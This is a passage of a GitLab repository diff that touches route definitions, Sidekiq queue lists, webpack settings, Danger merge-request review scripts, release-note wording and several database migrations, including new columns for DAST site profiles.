+ :pipelines, :pipeline_schedules)
end
# rubocop: disable Cop/PutProjectRoutesUnderScope
diff --git a/config/routes/repository.rb b/config/routes/repository.rb
index 61a407d5a35..58de3d29bb0 100644
--- a/config/routes/repository.rb
+++ b/config/routes/repository.rb
@@ -2,15 +2,7 @@
# All routing related to repository browsing
-resource :repository, only: [:create] do
- member do
- # deprecated since GitLab 9.5
- get 'archive', constraints: { format: Gitlab::PathRegex.archive_formats_regex }, as: 'archive_alternative', defaults: { append_sha: true }
-
- # deprecated since GitLab 10.7
- get ':id/archive', constraints: { format: Gitlab::PathRegex.archive_formats_regex, id: /.+/ }, action: 'archive', as: 'archive_deprecated', defaults: { append_sha: true }
- end
-end
+resource :repository, only: [:create]
resources :commit, only: [:show], constraints: { id: /\h{7,40}/ } do
member do
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index 3f6d919f5e9..c0aab89fd46 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -36,6 +36,8 @@
- 1
- - analytics_usage_trends_counter_job
- 1
+- - approval_rules_external_approval_rule_payload
+ - 1
- - approve_blocked_pending_approval_users
- 1
- - authorized_keys
@@ -54,6 +56,8 @@
- 1
- - bulk_imports_entity
- 1
+- - bulk_imports_pipeline
+ - 1
- - chaos
- 2
- - chat_notification
@@ -208,8 +212,16 @@
- 1
- - merge_request_reset_approvals
- 1
+- - merge_requests_assignees_change
+ - 1
- - merge_requests_delete_source_branch
- 1
+- - merge_requests_handle_assignees_change
+ - 1
+- - merge_requests_resolve_todos
+ - 1
+- - merge_requests_sync_code_owner_approval_rules
+ - 1
- - metrics_dashboard_prune_old_annotations
- 1
- - metrics_dashboard_sync_dashboards
@@ -294,6 +306,8 @@
- 1
- - projects_git_garbage_collect
- 1
+- - projects_post_creation
+ - 1
- - projects_schedule_bulk_repository_shard_moves
- 1
- - projects_update_repository_storage
diff --git a/config/unicorn.rb.example b/config/unicorn.rb.example
index 77e440eddde..c930e2ff761 100644
--- a/config/unicorn.rb.example
+++ b/config/unicorn.rb.example
@@ -8,8 +8,8 @@
# See http://unicorn.bogomips.org/Unicorn/Configurator.html for complete
# documentation.
-# Note: If you change this file in a Merge Request, please also create a
-# Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# Note: If you change this file in a merge request, please also create a
+# merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
# Relative URL support
# WARNING: We recommend using an FQDN to host GitLab in a root path instead
@@ -41,7 +41,7 @@ working_directory "/home/git/gitlab" # available in 0.94.0+
listen "/home/git/gitlab/tmp/sockets/gitlab.socket", :backlog => 1024
listen "127.0.0.1:8080", :tcp_nopush => true
-# nuke workers after 30 seconds instead of 60 seconds (the default)
+# destroy workers after 30 seconds instead of 60 seconds (the default)
#
# NOTICE: git push over http depends on this value.
# If you want to be able to push huge amount of data to git repository over http
diff --git a/config/webpack.config.js b/config/webpack.config.js
index 39add7def22..94aa190b77a 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -121,6 +121,7 @@ const alias = {
images: path.join(ROOT_PATH, 'app/assets/images'),
vendor: path.join(ROOT_PATH, 'vendor/assets/javascripts'),
vue$: 'vue/dist/vue.esm.js',
+ jquery$: 'jquery/dist/jquery.slim.js',
spec: path.join(ROOT_PATH, 'spec/javascripts'),
jest: path.join(ROOT_PATH, 'spec/frontend'),
shared_queries: path.join(ROOT_PATH, 'app/graphql/queries'),
@@ -306,6 +307,14 @@ module.exports = {
chunks: 'initial',
minChunks: autoEntriesCount * 0.9,
}),
+ tiptap: {
+ priority: 17,
+ name: 'tiptap',
+ chunks: 'all',
+ test: /[\\/]node_modules[\\/](tiptap|prosemirror)-?\w*[\\/]/,
+ minChunks: 2,
+ reuseExistingChunk: true,
+ },
graphql: {
priority: 16,
name: 'graphql',
diff --git a/config/webpack.vendor.config.js b/config/webpack.vendor.config.js
index 7e5365987ee..6d337c1d82b 100644
--- a/config/webpack.vendor.config.js
+++ b/config/webpack.vendor.config.js
@@ -13,6 +13,9 @@ module.exports = {
mode: 'development',
resolve: {
extensions: ['.js'],
+ alias: {
+ jquery$: 'jquery/dist/jquery.slim.js',
+ },
},
// ensure output is not generated when errors are encountered
@@ -22,7 +25,7 @@ module.exports = {
entry: {
vendor: [
- 'jquery',
+ 'jquery/dist/jquery.slim.js',
'pdfjs-dist/build/pdf',
'pdfjs-dist/build/pdf.worker.min',
'sql.js',
diff --git a/danger/changelog/Dangerfile b/danger/changelog/Dangerfile
index 444303d4b9e..6f045d7b5ab 100644
--- a/danger/changelog/Dangerfile
+++ b/danger/changelog/Dangerfile
@@ -21,6 +21,7 @@ def check_changelog_yaml(path)
fail "`type` should be set, in #{helper.html_link(path)}! #{SEE_DOC}" if yaml["type"].nil?
return if helper.security_mr?
+ return if helper.mr_iid.to_s.empty?
cherry_pick_against_stable_branch = helper.cherry_pick_mr? && helper.stable_branch?
@@ -28,12 +29,12 @@ def check_changelog_yaml(path)
mr_line = raw_file.lines.find_index("merge_request:\n")
if mr_line
- markdown(format(SUGGEST_MR_COMMENT, mr_iid: gitlab.mr_json["iid"]), file: path, line: mr_line.succ)
+ markdown(format(SUGGEST_MR_COMMENT, mr_iid: helper.mr_iid), file: path, line: mr_line.succ)
else
- message "Consider setting `merge_request` to #{gitlab.mr_json["iid"]} in #{helper.html_link(path)}. #{SEE_DOC}"
+ message "Consider setting `merge_request` to #{helper.mr_iid} in #{helper.html_link(path)}. #{SEE_DOC}"
end
- elsif yaml["merge_request"] != gitlab.mr_json["iid"] && !cherry_pick_against_stable_branch
- fail "Merge request ID was not set to #{gitlab.mr_json["iid"]}! #{SEE_DOC}"
+ elsif yaml["merge_request"] != helper.mr_iid && !cherry_pick_against_stable_branch
+ fail "Merge request ID was not set to #{helper.mr_iid}! #{SEE_DOC}"
end
rescue Psych::Exception
# YAML could not be parsed, fail the build.
@@ -73,3 +74,26 @@ elsif changelog.required?
elsif changelog.optional?
message changelog.optional_text
end
+
+message <<~MSG
+ We are in the process of rolling out a new workflow for adding changelog entries. This new workflow uses Git commit subjects and Git trailers to generate changelogs. This new approach will soon replace the current YAML based approach.
+
+ To ease the transition process, we recommend you start using both the old and new approach in parallel. This is not required at this time, but will make it easier to transition to the new approach in the future. To do so, pick the commit that should go in the changelog and add a `Changelog` trailer to it. For example:
+
+ ```
+ This is my commit's subject line
+
+ This is the optional commit body.
+
+ Changelog: added
+ ```
+
+ The value of the `Changelog` trailer should be one of the following: added, fixed, changed, deprecated, removed, security, performance, other.
+
+ For more information, take a look at the following resources:
+
+ - https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1564
+ - https://docs.gitlab.com/ee/api/repositories.html#generate-changelog-data
+
+ If you'd like to see the new approach in action, take a look at the commits in [the Omnibus repository](https://gitlab.com/gitlab-org/omnibus-gitlab/-/commits/master).
+MSG
diff --git a/danger/commit_messages/Dangerfile b/danger/commit_messages/Dangerfile
index b4a0b6ad8cb..ac3d41adcf4 100644
--- a/danger/commit_messages/Dangerfile
+++ b/danger/commit_messages/Dangerfile
@@ -127,7 +127,7 @@ def warn_or_fail_commits(failed_linters, default_to_fail: true)
Array(failed_linters).each do |linter|
linter.problems.each do |problem_key, problem_desc|
case problem_key
- when :subject_too_short, :subject_above_warning
+ when :subject_too_short, :subject_above_warning, :details_too_many_changes, :details_line_too_long
warn_commit(linter.commit, problem_desc)
else
self.__send__("#{level}_commit", linter.commit, problem_desc) # rubocop:disable GitlabSecurity/PublicSend
diff --git a/danger/datateam/Dangerfile b/danger/datateam/Dangerfile
new file mode 100644
index 00000000000..0a33cb6777b
--- /dev/null
+++ b/danger/datateam/Dangerfile
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+# rubocop:disable Style/SignalException
+
+CHANGED_SCHEMA_MESSAGE = <<~MSG
+Mentioning @gitlab-data/engineers to notify the team about changes to the db/structure.sql file.
+
+MSG
+
+db_schema_updated = !git.modified_files.grep(%r{\Adb/structure\.sql}).empty?
+
+if db_schema_updated
+
+ markdown(CHANGED_SCHEMA_MESSAGE)
+
+end
diff --git a/danger/feature_flag/Dangerfile b/danger/feature_flag/Dangerfile
index e66ed35c9ab..d14dd97380f 100644
--- a/danger/feature_flag/Dangerfile
+++ b/danger/feature_flag/Dangerfile
@@ -2,6 +2,7 @@
# rubocop:disable Style/SignalException
SEE_DOC = "See the [feature flag documentation](https://docs.gitlab.com/ee/development/feature_flags#feature-flag-definition-and-validation)."
+FEATURE_FLAG_LABEL = "feature flag"
SUGGEST_MR_COMMENT = <<~SUGGEST_COMMENT
```suggestion
@@ -65,14 +66,21 @@ if feature_flag_file_added_or_removed?
new_mr_title << ' [RUN ALL RSPEC]' unless helper.run_all_rspec_mr?
new_mr_title << ' [RUN AS-IF-FOSS]' unless helper.run_as_if_foss_mr?
+ changes = {}
+ changes[:add_labels] = FEATURE_FLAG_LABEL unless helper.mr_has_labels?(FEATURE_FLAG_LABEL)
+
if new_mr_title != helper.mr_title
+ changes[:title] = new_mr_title
+ else
+ message "You're adding or removing a feature flag, your MR title needs to include `[RUN ALL RSPEC] [RUN AS-IF-FOSS]` (we may have updated it automatically for you and started a new MR pipeline) to ensure everything is covered."
+ end
+
+ if changes.any?
gitlab.api.update_merge_request(
gitlab.mr_json['project_id'],
gitlab.mr_json['iid'],
- title: new_mr_title
+ **changes
)
gitlab.api.post("/projects/#{gitlab.mr_json['project_id']}/merge_requests/#{gitlab.mr_json['iid']}/pipelines")
- else
- message "You're adding or removing a feature flag, your MR title needs to include `[RUN ALL RSPEC] [RUN AS-IF-FOSS]` (we may have updated it automatically for you and started a new MR pipeline) to ensure everything is covered."
end
end
diff --git a/danger/pipeline/Dangerfile b/danger/pipeline/Dangerfile
index c71fb86325d..5503094ba50 100644
--- a/danger/pipeline/Dangerfile
+++ b/danger/pipeline/Dangerfile
@@ -3,9 +3,9 @@
MESSAGE = <<~MESSAGE
## Pipeline Changes
-This Merge Request contains changes to the pipeline configuration for the GitLab project.
+This merge request contains changes to the pipeline configuration for the GitLab project.
-Please consider the effect of the changes in this Merge Request on the following:
+Please consider the effect of the changes in this merge request on the following:
- Effects on different [pipeline types](https://docs.gitlab.com/ee/development/pipelines.html#pipelines-for-merge-requests)
- Effects on non-canonical projects:
- `gitlab-foss`
diff --git a/danger/product_intelligence/Dangerfile b/danger/product_intelligence/Dangerfile
index fe77ea5fc52..d2bed7629ff 100644
--- a/danger/product_intelligence/Dangerfile
+++ b/danger/product_intelligence/Dangerfile
@@ -3,15 +3,13 @@
CHANGED_FILES_MESSAGE = <<~MSG
For the following files, a review from the [Data team and Product Intelligence team](https://gitlab.com/groups/gitlab-org/growth/product-intelligence/engineers/-/group_members?with_inherited_permissions=exclude) is recommended
-Please check the ~"product intelligence" [guide](https://docs.gitlab.com/ee/development/usage_ping.html) and reach out to %<engineers_group>s group for a review.
+Please check the ~"product intelligence" [guide](https://docs.gitlab.com/ee/development/usage_ping.html).
%<changed_files>s
MSG
-ENGINEERS_GROUP = '@gitlab-org/growth/product-intelligence/engineers'
-
UPDATE_DICTIONARY_MESSAGE = <<~MSG
When adding, changing, or updating metrics, please update the [Metrics Dictionary](https://docs.gitlab.com/ee/development/usage_ping/dictionary.html)
@@ -30,8 +28,10 @@ tracking_files = [
'app/assets/javascripts/tracking.js',
'spec/frontend/tracking_spec.js',
'generator_templates/usage_metric_definition/metric_definition.yml',
- 'lib/generators/rails/usage_metric_definition_generator.rb',
- 'spec/lib/generators/usage_metric_definition_generator_spec.rb',
+ 'lib/generators/gitlab/usage_metric_definition_generator.rb',
+ 'lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb',
+ 'spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb',
+ 'spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb',
'config/metrics/schema.json'
]
@@ -49,7 +49,8 @@ end
js_patterns = Regexp.union(
'Tracking.event',
/\btrack\(/,
- 'data-track-event'
+ 'data-track-event',
+ 'data-track-action'
)
dictionary_pattern = Regexp.union(
@@ -81,13 +82,7 @@ matching_changed_files = usage_data_changed_files +
if matching_changed_files.any?
- mention = if helper.draft_mr?
- "`#{ENGINEERS_GROUP}`"
- else
- ENGINEERS_GROUP
- end
-
- warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(matching_changed_files), engineers_group: mention)
+ warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(matching_changed_files))
fail format(UPDATE_DICTIONARY_MESSAGE) if required_dictionary_update_changed_files.any? && dictionary_changed_file.empty?
diff --git a/danger/roulette/Dangerfile b/danger/roulette/Dangerfile
index b46220d7886..06d2929cd54 100644
--- a/danger/roulette/Dangerfile
+++ b/danger/roulette/Dangerfile
@@ -40,16 +40,21 @@ for them.
MARKDOWN
OPTIONAL_REVIEW_TEMPLATE = '%{role} review is optional for %{category}'
-NOT_AVAILABLE_TEMPLATE = 'No %{role} available'
+NOT_AVAILABLE_TEMPLATES = {
+ default: 'No %{role} available',
+ product_intelligence: "No engineer is available for automated assignment, please reach out to `#g_product_intelligence` slack channel or mention `@gitlab-org/growth/product-intelligence/engineers` for assistance."
+}.freeze
+
+def note_for_spins_role(spins, role, category)
+ template = NOT_AVAILABLE_TEMPLATES[category] || NOT_AVAILABLE_TEMPLATES[:default]
-def note_for_spins_role(spins, role)
spins.each do |spin|
note = note_for_spin_role(spin, role)
return note if note
end
- NOT_AVAILABLE_TEMPLATE % { role: role }
+ template % { role: role }
end
def note_for_spin_role(spin, role)
@@ -61,8 +66,8 @@ def note_for_spin_role(spin, role)
end
def markdown_row_for_spins(category, spins_array)
- reviewer_note = note_for_spins_role(spins_array, :reviewer)
- maintainer_note = note_for_spins_role(spins_array, :maintainer)
+ maintainer_note = note_for_spins_role(spins_array, :maintainer, category)
+ reviewer_note = note_for_spins_role(spins_array, :reviewer, category)
"| #{helper.label_for_category(category)} | #{reviewer_note} | #{maintainer_note} |"
end
@@ -73,10 +78,17 @@ changes = project_helper.changes_by_category
changes.delete(:none)
# To reinstate roulette for documentation, remove this line.
changes.delete(:docs)
-categories = changes.keys - [:unknown]
+# No special review for changelog needed and changelog was never a label.
+changes.delete(:changelog)
+# No special review for feature flags needed.
+changes.delete(:feature_flag)
+categories = Set.new(changes.keys - [:unknown])
# Ensure to spin for database reviewer/maintainer when ~database is applied (e.g. to review SQL queries)
-categories << :database if helper.mr_labels.include?('database') && !categories.include?(:database)
+categories << :database if helper.mr_labels.include?('database')
+
+# Ensure to spin for Product Intelligence reviewer when ~"product intelligence::review pending" is applied
+categories << :product_intelligence if helper.mr_labels.include?("product intelligence::review pending")
if changes.any?
project = project_helper.project_name
diff --git a/danger/specs/Dangerfile b/danger/specs/Dangerfile
index 26b52f64f2e..35476ae645d 100644
--- a/danger/specs/Dangerfile
+++ b/danger/specs/Dangerfile
@@ -7,12 +7,12 @@ NO_SPECS_LABELS = [
'documentation',
'QA'
].freeze
-NO_NEW_SPEC_MESSAGE = <<~MSG.freeze
+NO_NEW_SPEC_MESSAGE = <<~MSG
You've made some app changes, but didn't add any tests.
That's OK as long as you're refactoring existing code,
but please consider adding any of the %<labels>s labels.
MSG
-EE_CHANGE_WITH_FOSS_SPEC_CHANGE_MESSAGE = <<~MSG.freeze
+EE_CHANGE_WITH_FOSS_SPEC_CHANGE_MESSAGE = <<~MSG
You've made some EE-specific changes, but only made changes to FOSS tests.
This could be a sign that you're testing an EE-specific behavior in a FOSS test.
@@ -24,7 +24,7 @@ Please make sure the spec files pass in AS-IF-FOSS mode either:
MSG
-CONTROLLER_SPEC_DEPRECATION_MESSAGE = <<~MSG.freeze
+CONTROLLER_SPEC_DEPRECATION_MESSAGE = <<~MSG
Do not add new controller specs. We are moving from controller specs to
request specs (and/or feature specs). Please add request specs under
`/spec/requests` and/or `/ee/spec/requests` instead.
diff --git a/data/whats_new/202008180003_13_01.yml b/data/whats_new/202008180003_13_01.yml
index 9f8a87ebe27..835b0f8567b 100644
--- a/data/whats_new/202008180003_13_01.yml
+++ b/data/whats_new/202008180003_13_01.yml
@@ -12,7 +12,7 @@
image_url: https://about.gitlab.com/images/13_1/alert_management.png
published_at: 2020-06-22
release: 13.1
-- title: Accessibility Testing Merge Request Widget
+- title: Accessibility testing merge request widget
body: |
Today, developers who want to ensure their application is accessible to everyone suffer from slow feedback loops, which make it difficult to catch degradations in their code.
@@ -36,9 +36,9 @@
image_url: https://about.gitlab.com/images/13_1/resolve-design-comment.gif
published_at: 2020-06-22
release: 13.1
-- title: Merge Request Reviews moved to Free
+- title: Merge request reviews moved to Free
body: |
- Originally introduced in GitLab 11.4 as a GitLab Premium feature, Merge Request Reviews allow merge request reviewers to submit multiple comments at once, cutting down on notification noise for the merge request author, and allowing for a more cohesive and streamlined review process.
+ Originally introduced in GitLab 11.4 as a GitLab Premium feature, merge request reviews allow merge request reviewers to submit multiple comments at once, cutting down on notification noise for the merge request author, and allowing for a more cohesive and streamlined review process.
stage: Create
self-managed: true
gitlab-com: true
diff --git a/data/whats_new/202009150001_13_03.yml b/data/whats_new/202009150001_13_03.yml
index 3f51112d531..e9d63561af8 100644
--- a/data/whats_new/202009150001_13_03.yml
+++ b/data/whats_new/202009150001_13_03.yml
@@ -27,7 +27,7 @@
body: |
Dynamic Application Security Testing at GitLab has always been focused on integrating DAST into the DevOps pipeline and enabling developers to scan their review app, running website, or API for vulnerabilities as early as possible.
- However, there are times when it is necessary to run a DAST scan against an already deployed application when no code changes have been made and no Merge Request has been created. These scans could be needed for audit or compliance reasons, to debug and reproduce an issue that has been found, or to support teams who do not commit code, such as security analysts.
+ However, there are times when it is necessary to run a DAST scan against an already deployed application when no code changes have been made and no merge request has been created. These scans could be needed for audit or compliance reasons, to debug and reproduce an issue that has been found, or to support teams who do not commit code, such as security analysts.
Because of the need for DAST scans that are not triggered by a code change or MR, on-demand DAST testing is now available. You don’t need configuration files or code to start running on-demand scans. Configuration options for on-demand DAST scans are available within the GitLab UI.
stage: Secure
diff --git a/data/whats_new/202011230001_13_06.yml b/data/whats_new/202011230001_13_06.yml
index 47e8526408f..53ee394f156 100644
--- a/data/whats_new/202011230001_13_06.yml
+++ b/data/whats_new/202011230001_13_06.yml
@@ -16,9 +16,9 @@
release: 13.6
- title: Display Code Quality severity ratings
body: |
- The Code Quality feature in GitLab is great at showing what quality violations exist in a project or are changing in the Merge Request. However, understanding which of those violations is the most important is not clear in the GitLab interface today.
+ The Code Quality feature in GitLab is great at showing what quality violations exist in a project or are changing in the merge request. However, understanding which of those violations is the most important is not clear in the GitLab interface today.
- With the Full Code Quality Report and Merge Request Widget, now you can see the severity rating. This makes it easy for you to understand which code quality violations are most important to resolve before merging and reduces the technical debt in your project.
+ With the Full Code Quality Report and merge request widget, now you can see the severity rating. This makes it easy for you to understand which code quality violations are most important to resolve before merging and reduces the technical debt in your project.
stage: Verify
self-managed: true
gitlab-com: true
diff --git a/data/whats_new/202012160001_13_07.yml b/data/whats_new/202012160001_13_07.yml
index 702c757a280..28d596081cc 100644
--- a/data/whats_new/202012160001_13_07.yml
+++ b/data/whats_new/202012160001_13_07.yml
@@ -10,7 +10,7 @@
image_url: https://img.youtube.com/vi/G8fYYrxqF5E/hqdefault.jpg
published_at: 2020-12-22
release: 13.7
-- title: Reviewers for Merge Requests
+- title: Reviewers for merge requests
body: |
Asking a colleague to review your code should be a routine part of contributing code, but it's often needlessly complex. A simple task like asking for a review can lead to confusion. For example, how should you ask? An email? Comment? Chat message? Without a formal process, reviews can be inconsistent and hard to keep track of. Previously, an option was to assign a reviewer to a merge request, but even with this formality, both the author and the reviewer appeared in the same assignee field, making it hard for other team members to know who was doing what.
diff --git a/data/whats_new/202103220001_13_10.yml b/data/whats_new/202103220001_13_10.yml
index 6de61ecdb06..24928f9609b 100644
--- a/data/whats_new/202103220001_13_10.yml
+++ b/data/whats_new/202103220001_13_10.yml
@@ -74,13 +74,13 @@
image_url: https://about.gitlab.com/images/13_10/integrate_alerts.png
published_at: 2021-03-22
release: 13.10
-- title: "Merge Request test summary usability improvements"
+- title: "Merge request test summary usability improvements"
body: |
- Increasing the number of tests or custom metrics in a pipeline gives you additional confidence and information. However, increasing these to a large number has also come with a degraded visual experience of the Merge Request page. The Merge Request test summary widget has been improved so you can better differentiate between the different test jobs in the widget, making it easier to identify which job contains failed tests.
+ Increasing the number of tests or custom metrics in a pipeline gives you additional confidence and information. However, increasing these to a large number has also come with a degraded visual experience of the merge request page. The merge request test summary widget has been improved so you can better differentiate between the different test jobs in the widget, making it easier to identify which job contains failed tests.
It has also been challenging to understand why a `junit.xml` file was not parsed without errors being presented. Now you can see parsing errors in the Test Summary widget, as well as the Unit Test report, to identify and resolve structural issues and see test results in GitLab.
- The [Metrics Reports](https://docs.gitlab.com/ee/ci/metrics_reports.html) widget [(Premium and Ultimate)](https://about.gitlab.com/pricing/) is now sorted so new, changed, and unchanged metrics are all together, making the experience of finding metrics that have changed as part of the Merge Request more intuitive.
+ The [Metrics Reports](https://docs.gitlab.com/ee/ci/metrics_reports.html) widget [(Premium and Ultimate)](https://about.gitlab.com/pricing/) is now sorted so new, changed, and unchanged metrics are all together, making the experience of finding metrics that have changed as part of the merge request more intuitive.
stage: Verify
self-managed: true
gitlab-com: true
diff --git a/data/whats_new/templates/YYYYMMDD0001_XX_YY.yml b/data/whats_new/templates/YYYYMMDD0001_XX_YY.yml
index 74915c19f95..f8611da2cff 100644
--- a/data/whats_new/templates/YYYYMMDD0001_XX_YY.yml
+++ b/data/whats_new/templates/YYYYMMDD0001_XX_YY.yml
@@ -7,7 +7,7 @@
# For more information please refer to the handbook documentation here:
# https://about.gitlab.com/handbook/marketing/blog/release-posts/index.html#create-mr-for-whats-new-entries
#
-# Please delete this line and above before submitting your Merge Request.
+# Please delete this line and above before submitting your merge request.
- title: # Match the release post entry
body: | # Do not modify this line, instead modify the lines below.
diff --git a/db/migrate/20200609212701_add_incident_settings_to_all_existing_projects.rb b/db/migrate/20200609212701_add_incident_settings_to_all_existing_projects.rb
index 60286e0dca6..a2931824ef5 100644
--- a/db/migrate/20200609212701_add_incident_settings_to_all_existing_projects.rb
+++ b/db/migrate/20200609212701_add_incident_settings_to_all_existing_projects.rb
@@ -8,7 +8,7 @@ class AddIncidentSettingsToAllExistingProjects < ActiveRecord::Migration[6.0]
# to preserve behavior for existing projects that
# are using the create issue functionality with the default setting of true
query = <<-SQL
- WITH project_ids AS (
+ WITH project_ids AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported}(
SELECT DISTINCT issues.project_id AS id
FROM issues
LEFT OUTER JOIN project_incident_management_settings
diff --git a/db/migrate/20200928233632_remove_terraform_state_verification_indexes.rb b/db/migrate/20200928233632_remove_terraform_state_verification_indexes.rb
index 0256d580cd6..b5a7bb5e39d 100644
--- a/db/migrate/20200928233632_remove_terraform_state_verification_indexes.rb
+++ b/db/migrate/20200928233632_remove_terraform_state_verification_indexes.rb
@@ -4,8 +4,8 @@ class RemoveTerraformStateVerificationIndexes < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
- CHECKSUM_INDEX_NAME = "terraform_states_verification_checksum_partial".freeze
- FAILURE_INDEX_NAME = "terraform_states_verification_failure_partial".freeze
+ CHECKSUM_INDEX_NAME = "terraform_states_verification_checksum_partial"
+ FAILURE_INDEX_NAME = "terraform_states_verification_failure_partial"
disable_ddl_transaction!
diff --git a/db/migrate/20201214032220_add_has_external_wiki_trigger.rb b/db/migrate/20201214032220_add_has_external_wiki_trigger.rb
index f6e066b75da..c77b887d509 100644
--- a/db/migrate/20201214032220_add_has_external_wiki_trigger.rb
+++ b/db/migrate/20201214032220_add_has_external_wiki_trigger.rb
@@ -4,10 +4,10 @@ class AddHasExternalWikiTrigger < ActiveRecord::Migration[6.0]
include Gitlab::Database::SchemaHelpers
DOWNTIME = false
- FUNCTION_NAME = 'set_has_external_wiki'.freeze
- TRIGGER_ON_INSERT_NAME = 'trigger_has_external_wiki_on_insert'.freeze
- TRIGGER_ON_UPDATE_NAME = 'trigger_has_external_wiki_on_update'.freeze
- TRIGGER_ON_DELETE_NAME = 'trigger_has_external_wiki_on_delete'.freeze
+ FUNCTION_NAME = 'set_has_external_wiki'
+ TRIGGER_ON_INSERT_NAME = 'trigger_has_external_wiki_on_insert'
+ TRIGGER_ON_UPDATE_NAME = 'trigger_has_external_wiki_on_update'
+ TRIGGER_ON_DELETE_NAME = 'trigger_has_external_wiki_on_delete'
def up
create_trigger_function(FUNCTION_NAME, replace: true) do
diff --git a/db/migrate/20201218194311_create_admin_notes.rb b/db/migrate/20201218194311_create_admin_notes.rb
new file mode 100644
index 00000000000..32f5818cdfb
--- /dev/null
+++ b/db/migrate/20201218194311_create_admin_notes.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class CreateAdminNotes < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ create_table_with_constraints :namespace_admin_notes do |t|
+ t.timestamps_with_timezone
+ t.references :namespace, null: false, foreign_key: { on_delete: :cascade }
+ t.text :note
+
+ t.text_limit :note, 1000
+ end
+ end
+
+ def down
+ drop_table :namespace_admin_notes
+ end
+end
diff --git a/db/migrate/20210102164121_drop_temporary_index_on_ci_builds.rb b/db/migrate/20210102164121_drop_temporary_index_on_ci_builds.rb
index 0ecf194eb97..9c99414792e 100644
--- a/db/migrate/20210102164121_drop_temporary_index_on_ci_builds.rb
+++ b/db/migrate/20210102164121_drop_temporary_index_on_ci_builds.rb
@@ -7,7 +7,7 @@ class DropTemporaryIndexOnCiBuilds < ActiveRecord::Migration[6.0]
disable_ddl_transaction!
- INDEX = 'tmp_build_stage_position_index'.freeze
+ INDEX = 'tmp_build_stage_position_index'
def up
remove_concurrent_index_by_name :ci_builds, INDEX
diff --git a/db/migrate/20210106061254_add_unique_index_for_golang_packages.rb b/db/migrate/20210106061254_add_unique_index_for_golang_packages.rb
new file mode 100644
index 00000000000..44237699fda
--- /dev/null
+++ b/db/migrate/20210106061254_add_unique_index_for_golang_packages.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddUniqueIndexForGolangPackages < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_packages_on_project_id_name_version_unique_when_golang'
+ PACKAGE_TYPE_GOLANG = 8
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :packages_packages, [:project_id, :name, :version], unique: true, where: "package_type = #{PACKAGE_TYPE_GOLANG}", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:packages_packages, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210219211845_add_version_usage_data_id_to_raw_usage_data.rb b/db/migrate/20210219211845_add_version_usage_data_id_to_raw_usage_data.rb
new file mode 100644
index 00000000000..1b49fdd98bd
--- /dev/null
+++ b/db/migrate/20210219211845_add_version_usage_data_id_to_raw_usage_data.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddVersionUsageDataIdToRawUsageData < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :raw_usage_data, :version_usage_data_id_value, :bigint
+ end
+end
diff --git a/db/migrate/20210223230600_update_rubygems_metadata_metadata.rb b/db/migrate/20210223230600_update_rubygems_metadata_metadata.rb
new file mode 100644
index 00000000000..39e79be301e
--- /dev/null
+++ b/db/migrate/20210223230600_update_rubygems_metadata_metadata.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class UpdateRubygemsMetadataMetadata < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_text_limit :packages_rubygems_metadata, :metadata
+ add_text_limit :packages_rubygems_metadata, :metadata, 30000
+ end
+
+ def down
+ remove_text_limit :packages_rubygems_metadata, :metadata
+ add_text_limit :packages_rubygems_metadata, :metadata, 255, validate: false
+ end
+end
diff --git a/db/migrate/20210224161552_add_jira_issue_transition_automatic_to_jira_tracker_data.rb b/db/migrate/20210224161552_add_jira_issue_transition_automatic_to_jira_tracker_data.rb
new file mode 100644
index 00000000000..6c788b9d554
--- /dev/null
+++ b/db/migrate/20210224161552_add_jira_issue_transition_automatic_to_jira_tracker_data.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddJiraIssueTransitionAutomaticToJiraTrackerData < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :jira_tracker_data, :jira_issue_transition_automatic, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb b/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb
new file mode 100644
index 00000000000..167b8d2c509
--- /dev/null
+++ b/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddExcludedUrlsAndRequestHeadersToDastSiteProfiles < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20210311022012_add_text_limits_to_dast_site_profiles
+ def change
+ add_column :dast_site_profiles, :excluded_urls, :text, array: true, default: [], null: false
+ add_column :dast_site_profiles, :auth_enabled, :boolean, default: false, null: false
+ add_column :dast_site_profiles, :auth_url, :text
+ add_column :dast_site_profiles, :auth_username_field, :text
+ add_column :dast_site_profiles, :auth_password_field, :text
+ add_column :dast_site_profiles, :auth_username, :text
+ end
